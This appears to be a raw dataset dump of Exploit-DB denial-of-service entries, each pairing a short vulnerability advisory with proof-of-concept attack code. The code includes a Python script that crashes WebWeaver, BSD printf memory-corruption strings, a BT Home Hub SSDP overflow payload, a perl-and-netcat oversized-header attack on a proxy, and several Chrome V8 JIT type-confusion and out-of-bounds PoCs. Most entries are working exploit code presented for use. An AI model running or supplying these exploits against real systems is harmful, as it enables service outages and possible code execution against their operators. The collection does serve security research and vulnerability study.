deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22650
Description: BRS Webweaver 1.0 4 - POST / HEAD Denial of Service
Type: dos
Platform: multiple
Date: 2003-05-26
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7695/info

When WebWeaver receives unusually long POST or HEAD requests, a denial of service condition may result. Restarting WebWeaver will allow normal operation to resume.

This vulnerability was reported for WebWeaver 1.04. Earlier versions may also be vulnerable. 

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{
Exploit-DB #33058
Description: BSD (Multiple Distributions) - 'gdtoa/misc.c' Memory Corruption
Type: dos
Platform: multiple
Date: 2009-05-26
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/35510/info

Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

The following are vulnerable:

OpenBSD 4.5
NetBSD 5.0
FreeBSD 6.4 and 7.2

Other software based on the BSD code base may also be affected. 

The following proof-of-concept shell commands are available:

printf %1.262159f 1.1
printf %1[PII_REDACTED]f
printf %1[PII_REDACTED]f
printf %1[PII_REDACTED]f

The following proof-of-concept Perl script is available:

#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;

The following proof-of-concept J program is available:

cxib=0.<?php echo str_repeat("1",296450); ?>
Exploit-DB #38205
Description: BT Home Hub - 'uuid' Buffer Overflow
Type: dos
Platform: multiple
Date: 2013-01-08
Author: Zachary Cutlip

Exploit:
source: https://www.securityfocus.com/bid/57243/info

BT Home Hub is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data before copying it to an insufficiently sized buffer.

An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Failed exploit attempts will likely crash the affected application.

BT Home Hub 3.0b is vulnerable; other versions may also be affected.

# 
*******************************************************************************
# 
*******************************************************************************
# ***************** These files are licensed GPLv2. ****************
# ******************* See included LICENSE for more info. 
*******************
# 
*******************************************************************************
# 
*******************************************************************************
# ************************ From your leet hacking cr3w 
************************
# ******************************* *******************************
# ********************************** at 
**********************************
# ************ http://www.tacnetsol.com ***********
# 
*******************************************************************************
# Copyright (c) 2013 Zachary Cutlip
# Tactical Network Solutions, LLC
class MsearchCrash:
def __init__(self,overflowbuffer):
self.__msearch_text__=\
"M-SEARCH * HTTP/1.1\r\n"+\
"HOST:239.255.255.250:1900\r\n"+\
"ST:uuid:"+str(overflowbuffer)+"\r\n"\
"MX:2\r\n"+\
'MAN:"ssdp:discover"'+"\r\n\r\n"

def __str__(self):
return self.__msearch_text__
Exploit-DB #31728
Description: Call of Duty 4 1.5 - 'stats' Denial of Service
Type: dos
Platform: multiple
Date: 2008-05-02
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29026/info

Call of Duty is prone to a denial-of-service vulnerability because the application fails to handle specially crafted commands.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Call of Duty 4 1.5 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31728-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31728-2.zip
Exploit-DB #28666
Description: Call of Duty Server 4.1.x - Callvote Map Command Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-09-25
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/20180/info

Call of Duty server is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue may allow remote attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28666.zip
Exploit-DB #24715
Description: Caudium 1.x - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-10-30
Author: David Gourdelier

Exploit:
source: https://www.securityfocus.com/bid/11567/info

Caudium is reported prone to a remote denial of service vulnerability.

Remote attackers may exploit this vulnerability to crash affected Web servers, denying service to legitimate users.

Versions of Caudium prior to 1.4.4 RC2 are reported susceptible to this vulnerability.

http://www.example.com?foo=too&hop=&gazon=zz
Exploit-DB #23641
Description: Cauldron Chaser 1.4/1.5 - Remote Denial of Service (1)
Type: dos
Platform: multiple
Date: 2004-02-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9567/info

Chaser has been reported to be prone to a denial of service vulnerability. This issue is caused by a lack of input validation of a size parameter specified in UDP network communication packets. The process will attempt to read the amount of data specified by the packet, without regard to the amount of memory allocated. This will cause an attempt by the application to dereference unallocated memory, producing an exception and causing the process to crash. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23641.rar
Exploit-DB #23642
Description: Cauldron Chaser 1.4/1.5 - Remote Denial of Service (2)
Type: dos
Platform: multiple
Date: 2004-02-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9567/info
 
Chaser has been reported to be prone to a denial of service vulnerability. This issue is caused by a lack of input validation of a size parameter specified in UDP network communication packets. The process will attempt to read the amount of data specified by the packet, without regard to the amount of memory allocated. This will cause an attempt by the application to dereference unallocated memory, producing an exception and causing the process to crash. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23642.rar
Exploit-DB #30574
Description: CellFactor REvolution 1.03 - Multiple Remote Code Execution Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-09-10
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25625/info

CellFactor: Revolution is prone to multiple remote code-execution vulnerabilities, including a buffer-overflow issue and a format-string issue.

Successfully exploiting these issues will allow an attacker to execute arbitrary code within the context of the affected application or to crash the application.

CellFactor: Revolution 1.03 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30574.zip
Exploit-DB #20052
Description: Centrinity FirstClass 5.77 - Intranet Server Long Header Denial of Service
Type: dos
Platform: multiple
Date: 2000-06-27
Author: Adam Prime

Exploit:
source: https://www.securityfocus.com/bid/1421/info

If an E-mail containing an excessively long To: field in the header (~1.5 MB) is processed by First Class Intranet Services (FCIS), a Denial of Service can occur. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20052.tar.gz
Exploit-DB #24423
Description: Cerbere Proxy Server 1.2 - Long Host Header Field Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-09-01
Author: GSS IT

Exploit:
source: https://www.securityfocus.com/bid/11085/info

CerbÃ¨re Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.

A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.

CerbÃ¨re Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128
Exploit-DB #44084
Description: Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow
Type: dos
Platform: multiple
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
Here's a snippet of the method.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, captures_length_obj,
        Object::ToLength(isolate, captures_length_obj));
    const int captures_length = PositiveNumberToUint32(*captures_length_obj);
    ...
    if (functional_replace) {
      const int argc =
          has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)

      ScopedVector<Handle<Object>> argv(argc);

      int cursor = 0;
      for (int j = 0; j < captures_length; j++) {
        argv[cursor++] = captures[j];
      }

      // (b)
      argv[cursor++] = handle(Smi::FromInt(position), isolate);
      argv[cursor++] = string;

The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).


PoC:
*/

let cnt = 0;
let reg = /./g;
reg.exec = () => {
    if (cnt++ == 0)
        return {length: 0xfffffffe};

    cnt = 0;
    return null;
};

''.replace(reg, () => {});
Exploit-DB #44180
Description: Chrome V8 - 'TranslatedState::MaterializeCapturedObjectAt' Type Confusion
Type: dos
Platform: multiple
Date: 2018-02-27
Author: Google Security Research

Exploit:
/*
Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
    case JS_SET_KEY_VALUE_ITERATOR_TYPE:
    case JS_SET_VALUE_ITERATOR_TYPE: {
      Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }
    case JS_MAP_KEY_ITERATOR_TYPE:
    case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
    case JS_MAP_VALUE_ITERATOR_TYPE: {
      Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }

For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.

PoC:
*/

function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;

    let arr = [iterator, iterator];
    if (b)
        return arr.slice();
}

for (let i = 0; i < 100000; i++)
    opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b);  // false
a.x = 7;

print(b.x);  // 7

a.a = 1.1;  // transition
b.b = 0x1234;
a.a = 1.1;  // type confusion
Exploit-DB #44540
Description: Chrome V8 JIT - 'AwaitedPromise' Update Bug
Type: dos
Platform: multiple
Date: 2018-04-25
Author: Google Security Research

Exploit:
/*
Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)

  Node* const context = Parameter(Descriptor::kContext);
  Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
  Node* const promise =
      Await(context, generator, value, outer_promise, AwaitContext::kLength,
            init_closure_context, var_on_resolve.value(), var_on_reject.value(),
            is_caught);

  CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
  StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
                   promise);

The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

PoC:
*/

async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;

        gen.next();
    }
});

/*
Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]


==== JS stack trace =========================================

Security context: 0x2b29083a3a71 <JSObject>#0#
    2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)

==== Details ================================================

[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
==== Key         ============================================

 #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
 #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
 #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================

Received signal 4 ILL_ILLOPN 7fb143ae2781

==== C stack trace ===============================

 [0x7fb143ae643e]
 [0x7fb143ae6395]
 [0x7fb1436ce390]
 [0x7fb143ae2781]
 [0x7fb1430f23ae]
 [0x7fb1430f1ef7]
 [0x1c8e08204384]
[end of stack trace]
Illegal instruction
*/
Exploit-DB #44259
Description: Chrome V8 JIT - 'GetSpecializationContext' Type Confusion
Type: dos
Platform: multiple
Date: 2018-03-06
Author: Google Security Research

Exploit:
PoC:
function* opt(arg = () => arg) {
    let tmp = opt.x;  // LdaNamedProperty
    for (;;) {
        arg;
        yield;

        function inner() {
            tmp;
        }

        break;
    }
}

for (let i = 0; i < 100000; i++) {
    opt();
}

/*
PoC for release build:
function* opt(arg = () => {
    arg;
    this;
}, opt) {
    let tmp = arg.x;
    for (;;) {
        arg;
        yield;

        tmp = {
            inner() {
                tmp;
            }
        };
    }
}

for (let i = 0; i < 10000; i++) {
    opt();
}

What happened:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.
*/
Exploit-DB #44541
Description: Chrome V8 JIT - Arrow Function Scope Fixing Bug
Type: dos
Platform: multiple
Date: 2018-04-25
Author: Google Security Research

Exploit:
/*
When the parser parses the parameter list of an arrow function contaning destructuring assignments, it can't distinguish whether the assignments will be actually in the parameter list or just assignments until it meets a "=>" token. So it first assigns the destructuring assignments to the outer scope, and fixs the scope when it meets the "=>" token.

Here's the methods used to fix the scope (https://cs.chromium.org/chromium/src/v8/src/parsing/parser-base.h?rcl=787ecbb389741d2b76131f9fa526374a0dbfcff6&l=407).

    void RewindDestructuringAssignments(int pos) {
      destructuring_assignments_to_rewrite_.Rewind(pos);
    }

    void SetDestructuringAssignmentsScope(int pos, Scope* scope) {
      for (int i = pos; i < destructuring_assignments_to_rewrite_.length();
           ++i) {
        destructuring_assignments_to_rewrite_[i]->set_scope(scope);
      }
    }

Since the SetDestructuringAssignmentsScope method changes the scope from "pos" to the end of the list, it needs to call the RewindDestructuringAssignments method after fixing the scope. But the RewindDestructuringAssignments method is only called when the arrow function's body starts with a "{" token (https://cs.chromium.org/chromium/src/v8/src/parsing/parser-base.h?rcl=787ecbb389741d2b76131f9fa526374a0dbfcff6&l=4418).

So it can't properly handle the following case where a destructuring assignment expression containing a single line arrow function. It will set the scope of the inner destructuring assignments to the outer arrow function's scope.

PoC:
*/

(({a = (async ({b = {a = c} = {
    a: 0x1234
}}) => 1)({})}, c) => 1)({});

/*
Log:
Received signal 10 BUS_ADRERR[PII_REDACTED]1f

==== C stack trace ===============================

 [0x00010edde85e]
 [0x7fff53e54f5a]
 [0x[PII_REDACTED]00]
 [0x7eb48331b6d8]
 [0x7eb48331b6d8]
[end of stack trace]
Bus error: 10
*/
Exploit-DB #44260
Description: Chrome V8 JIT - Empty BytecodeJumpTable Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2018-03-06
Author: Google Security Research

Exploit:
/*
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never reaches, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
*/

function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();
Exploit-DB #44258
Description: Chrome V8 JIT - JSBuiltinReducer::ReduceObjectCreate Fails to Ensure that the Prototype is _null_
Type: dos
Platform: multiple
Date: 2018-03-06
Author: Google Security Research

Exploit:
/*
I think this commit has introduced the bug.
https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/#F2

According to the description, Object.create is supposed to be inlined only when the prototype given as the parameter is "null".

The following check has to guarantee it, but it can't guarantee it. Any receiver can get through the check, then Map::GetObjectCreateMap may transition the prototype, which may lead to type confusion.
  if (!prototype_const->IsNull(isolate()) && !prototype_const->IsJSReceiver()) {
    return NoChange();
  }
  instance_map = Map::GetObjectCreateMap(prototype_const);

PoC:
*/

var object;
function opt() {
    opt['x'] = 1.1;
    try {
        Object.create(object);
    } catch (e) {
    }

    for (let i = 0; i < 1000000; i++) {

    }
}

opt();
object = opt;
opt();